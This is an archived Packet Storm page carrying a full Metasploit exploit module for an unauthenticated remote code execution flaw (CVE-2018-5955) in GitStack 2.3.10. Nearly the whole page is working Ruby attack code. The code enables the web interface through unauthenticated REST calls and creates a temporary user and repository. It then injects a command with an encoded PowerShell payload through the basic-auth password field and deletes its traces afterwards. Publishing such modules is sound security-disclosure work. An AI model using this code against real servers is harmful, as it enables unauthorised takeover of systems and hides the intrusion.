Lucene search

K
packetstormKacper SzurekPACKETSTORM:146948
HistoryMar 29, 2018 - 12:00 a.m.

GitStack 2.3.10 Unsanitized Argument Remote Code Execution

2018-03-2900:00:00
Kacper Szurek
packetstormsecurity.com
189

0.964 High

EPSS

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GitStack Unsanitized Argument RCE',  
'Description' => %q{  
This module exploits a remote code execution vulnerability that  
exists in GitStack through v2.3.10, caused by an unsanitized argument  
being passed to an exec function call. This module has been tested  
on GitStack v2.3.10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kacper Szurek', # Vulnerability discovery and PoC  
'Jacob Robles' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2018-5955'],  
['EDB', '43777'],  
['EDB', '44044'],  
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'win',  
'Targets' => [['Automatic', {}]],  
'Privileged' => true,  
'DisclosureDate' => 'Jan 15 2018',  
'DefaultTarget' => 0))  
end  
  
def check_web  
begin  
res = send_request_cgi({  
'uri' => '/rest/settings/general/webinterface/',  
'method' => 'GET'  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
  
if res && res.code == 200  
if res.body =~ /true/  
vprint_good('Web interface is enabled')  
return true  
else  
vprint_error('Web interface is disabled')  
return false  
end  
else  
print_error('Unable to determine status of web interface')  
return nil  
end  
end  
  
def check_repos  
begin  
res = send_request_cgi({  
'uri' => '/rest/repository/',  
'method' => 'GET',  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
begin  
mylist = res.get_json_document  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
return nil  
end  
  
if mylist.length == 0  
vprint_error('No repositories found')  
return false  
else  
vprint_good('Repositories found')  
return mylist  
end  
else  
print_error('Unable to determine available repositories')  
return nil  
end  
end  
  
def update_web(web)  
data = {'enabled' => web}  
begin  
res = send_request_cgi({  
'uri' => '/rest/settings/general/webinterface/',  
'method' => 'PUT',  
'data' => data.to_json  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
vprint_good("#{res.body}")  
end  
end  
  
def create_repo  
repo = Rex::Text.rand_text_alpha(5)  
c_token = Rex::Text.rand_text_alpha(5)  
begin  
res = send_request_cgi({  
'uri' => '/rest/repository/',  
'method' => 'POST',  
'cookie' => "csrftoken=#{c_token}",  
'vars_post' => {  
'name' => repo,  
'csrfmiddlewaretoken' => c_token  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
vprint_good("#{res.body}")  
return repo  
else  
print_status('Unable to create repository')  
return nil  
end  
end  
  
def delete_repo(repo)  
begin  
res = send_request_cgi({  
'uri' => "/rest/repository/#{repo}/",  
'method' => 'DELETE'  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
  
if res && res.code == 200  
vprint_good("#{res.body}")  
else  
print_status('Failed to delete repository')  
end  
end  
  
def create_user  
user = Rex::Text.rand_text_alpha(5)  
pass = user  
begin  
res = send_request_cgi({  
'uri' => '/rest/user/',  
'method' => 'POST',  
'vars_post' => {  
'username' => user,  
'password' => pass  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
vprint_good("Created user: #{user}")  
return user  
else  
print_error("Failed to create user")  
return nil  
end  
end  
  
def delete_user(user)  
begin  
res = send_request_cgi({  
'uri' => "/rest/user/#{user}/",  
'method' => 'DELETE'  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
vprint_good("#{res.body}")  
else  
print_status('Delete user unsuccessful')  
end  
end  
  
def mod_user(repo, user, method)  
begin  
res = send_request_cgi({  
'uri' => "/rest/repository/#{repo}/user/#{user}/",  
'method' => method  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
vprint_good("#{res.body}")  
else  
print_status('Unable to add/remove user from repo')  
end  
end  
  
def repo_users(repo)  
begin  
res = send_request_cgi({  
'uri' => "/rest/repository/#{repo}/user/",  
'method' => 'GET'  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200  
begin  
users = res.get_json_document  
users -= ['everyone']  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
users = nil  
end  
else  
return nil  
end  
return users  
end  
  
def run_exploit(repo, user, cmd)  
begin  
res = send_request_cgi({  
'uri' => '/web/index.php',  
'method' => 'GET',  
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),  
'vars_get' => {  
'p' => "#{repo}.git",  
'a' => 'summary'  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
end  
  
def exploit  
command = cmd_psh_payload(  
payload.encoded,  
payload_instance.arch.first,  
{ :remove_comspec => true, :encode_final_payload => true }  
)  
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110  
  
web = check_web  
repos = check_repos  
  
if web.nil? || repos.nil?  
return  
end  
  
unless web  
update_web(!web)  
# Wait for interface  
sleep 8  
end  
  
if repos  
pwn_repo = repos[0]['name']  
else  
pwn_repo = create_repo  
end  
  
r_users = repo_users(pwn_repo)  
if r_users.present?  
pwn_user = r_users[0]  
run_exploit(pwn_repo, pwn_user, command)  
else  
pwn_user = create_user  
if pwn_user  
mod_user(pwn_repo, pwn_user, 'POST')  
run_exploit(pwn_repo, pwn_user, command)  
mod_user(pwn_repo, pwn_user, 'DELETE')  
delete_user(pwn_user)  
end  
end  
  
unless web  
update_web(web)  
end  
  
unless repos  
delete_repo(pwn_repo)  
end  
end  
end  
`

0.964 High

EPSS

Percentile

99.6%